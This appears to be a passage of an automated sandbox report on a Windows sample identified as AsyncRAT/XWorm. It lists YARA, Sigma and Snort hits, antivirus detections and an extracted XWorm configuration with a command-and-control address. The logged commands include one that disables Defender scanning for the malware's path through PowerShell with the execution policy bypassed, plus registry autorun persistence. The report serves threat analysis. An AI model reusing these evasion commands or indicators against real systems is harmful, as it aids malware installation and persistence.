3.0.._cache_F.exe.6a0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8188:$s6: VirtualBox 0x80e6:$s8: Win32_ComputerSystem 0x8b36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8bd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8ce8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x87e4:$cnc4: POST / HTTP/1.1
4.3.Synaptics.exe.2a4f458.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
4.3.Synaptics.exe.2a4f458.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
4.3.Synaptics.exe.2a4f458.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6388:$s6: VirtualBox 0x62e6:$s8: Win32_ComputerSystem 0x6d36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6dd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6ee8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x69e4:$cnc4: POST / HTTP/1.1
4.3.Synaptics.exe.21e5438.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
4.3.Synaptics.exe.21e5438.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
4.3.Synaptics.exe.21e5438.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6388:$s6: VirtualBox 0x62e6:$s8: Win32_ComputerSystem 0x6d36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6dd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6ee8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x69e4:$cnc4: POST / HTTP/1.1
0.3.F.exe.2257504.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.3.F.exe.2257504.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.3.F.exe.2257504.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.3.F.exe.2257504.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8188:$s6: VirtualBox 0x80e6:$s8: Win32_ComputerSystem 0x8b36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8bd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8ce8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x87e4:$cnc4: POST / HTTP/1.1
3.2.._cache_F.exe.12ac1a78.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
3.2.._cache_F.exe.12ac1a78.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.._cache_F.exe.12ac1a78.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6388:$s6: VirtualBox 0x62e6:$s8: Win32_ComputerSystem 0x6d36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6dd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6ee8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x69e4:$cnc4: POST / HTTP/1.1
2.0.F.exe.4b6c38.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.0.F.exe.4b6c38.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.0.F.exe.4b6c38.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6388:$s6: VirtualBox 0x62e6:$s8: Win32_ComputerSystem 0x6d36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6dd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6ee8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x69e4:$cnc4: POST / HTTP/1.1
0.3.F.exe.2257504.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.3.F.exe.2257504.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
4.3.Synaptics.exe.2a4f458.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.3.F.exe.2257504.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6388:$s6: VirtualBox 0x62e6:$s8: Win32_ComputerSystem 0x6d36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6dd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6ee8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x69e4:$cnc4: POST / HTTP/1.1
4.3.Synaptics.exe.2a4f458.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
4.3.Synaptics.exe.2a4f458.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.3.Synaptics.exe.2a4f458.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8188:$s6: VirtualBox 0x80e6:$s8: Win32_ComputerSystem 0x8b36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8bd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8ce8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x87e4:$cnc4: POST / HTTP/1.1
2.0.F.exe.4b6c38.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.0.F.exe.4b6c38.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.0.F.exe.4b6c38.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.0.F.exe.4b6c38.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8188:$s6: VirtualBox 0x80e6:$s8: Win32_ComputerSystem 0x8b36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8bd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8ce8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x87e4:$cnc4: POST / HTTP/1.1
4.3.Synaptics.exe.21e5438.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
4.3.Synaptics.exe.21e5438.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
4.3.Synaptics.exe.21e5438.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.3.Synaptics.exe.21e5438.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8188:$s6: VirtualBox 0x80e6:$s8: Win32_ComputerSystem 0x8b36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8bd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8ce8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x87e4:$cnc4: POST / HTTP/1.1
3.2.._cache_F.exe.12ac1a78.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
3.2.._cache_F.exe.12ac1a78.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.._cache_F.exe.12ac1a78.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.._cache_F.exe.12ac1a78.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8188:$s6: VirtualBox 0x80e6:$s8: Win32_ComputerSystem 0x8b36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8bd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8ce8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x87e4:$cnc4: POST / HTTP/1.1
2.0.F.exe.400000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.0.F.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
2.0.F.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.0.F.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb95c0:$s6: VirtualBox 0xb951e:$s8: Win32_ComputerSystem 0xb9f6e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xba00b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xba120:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb9c1c:$cnc4: POST / HTTP/1.1
Click to see the 45 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe', CommandLine: "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\svchost.com, NewProcessName: C:\Windows\svchost.com, OriginalFileName: C:\Windows\svchost.com, ParentCommandLine: "C:\Users\user\Desktop\._cache_F.exe" , ParentImage: C:\Users\user\Desktop\._cache_F.exe, ParentProcessId: 2616, ParentProcessName: ._cache_F.exe, ProcessCommandLine: "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe', ProcessId: 7316, ProcessName: svchost.com

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe', CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe', ParentImage: C:\Windows\svchost.com, ParentProcessId: 7316, ParentProcessName: svchost.com, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe', ProcessId: 7332, ProcessName: powershell.exe

Sigma detected: Classes Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\svchost.com "%1" %*, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\F.exe, ProcessId: 1560, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\(Default)

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 13.107.246.60, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 1276, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49850

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\._cache_F.exe, ProcessId: 2616, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.5, DestinationIsIpv6: false, DestinationPort: 49850, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 1276, Protocol: tcp, SourceIp: 13.107.246.60, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Use NTFS Short Name in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\svchost.com" "C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE" , CommandLine: "C:\Windows\svchost.com" "C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE" , CommandLine|base64offset|contains: , Image: C:\Windows\svchost.com, NewProcessName: C:\Windows\svchost.com, OriginalFileName: C:\Windows\svchost.com, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\svchost.com" "C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE" , ProcessId: 7892, ProcessName: svchost.com

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\svchost.com" "C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE" , CommandLine: "C:\Windows\svchost.com" "C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE" , CommandLine|base64offset|contains: , Image: C:\Windows\svchost.com, NewProcessName: C:\Windows\svchost.com, OriginalFileName: C:\Windows\svchost.com, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\svchost.com" "C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE" , ProcessId: 7892, ProcessName: svchost.com

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, ProcessId: 2668, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\?????

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe', CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe', ParentImage: C:\Windows\svchost.com, ParentProcessId: 7316, ParentProcessName: svchost.com, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe', ProcessId: 7332, ProcessName: powershell.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 3868, TargetFilename: C:\Users\user\AppData\Local\Temp\63KxJoFw.xlsm

Snort Signatures

ETPRO TROJAN W32.Bloat-A Checkin - Source IP: 192.168.2.5 - Destination IP: 69.42.215.252

Timestamp:	07/02/24-06:51:22.387764
SID:	2832617
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: F.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/SSLLibrary.dll

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Avira: detection malicious, Label: W32/Delf.I
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Avira: detection malicious, Label: W32/Delf.I

Found malware configuration

Source: 00000003.00000002.3299291942.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["45.141.26.232"], "Port": "6666", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.4"}

Multi AV Scanner detection for domain / URL

Source: xred.mooo.com	Virustotal: Detection: 8%	Perma Link
Source: http://xred.site50.net/syn/Synaptics.rarZ	Virustotal: Detection: 6%	Perma Link
Source: http://xred.site50.net/syn/SSLLibrary.dl	Virustotal: Detection: 6%	Perma Link
Source: http://xred.site50.net/syn/SUpdate.iniZ	Virustotal: Detection: 5%	Perma Link
Source: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	Virustotal: Detection: 8%	Perma Link
Source: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	ReversingLabs: Detection: 97%
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	ReversingLabs: Detection: 93%
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	ReversingLabs: Detection: 100%

Multi AV Scanner detection for submitted file

Source: F.exe	ReversingLabs: Detection: 100%
Source: F.exe	Virustotal: Detection: 90%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Joe Sandbox ML: detected
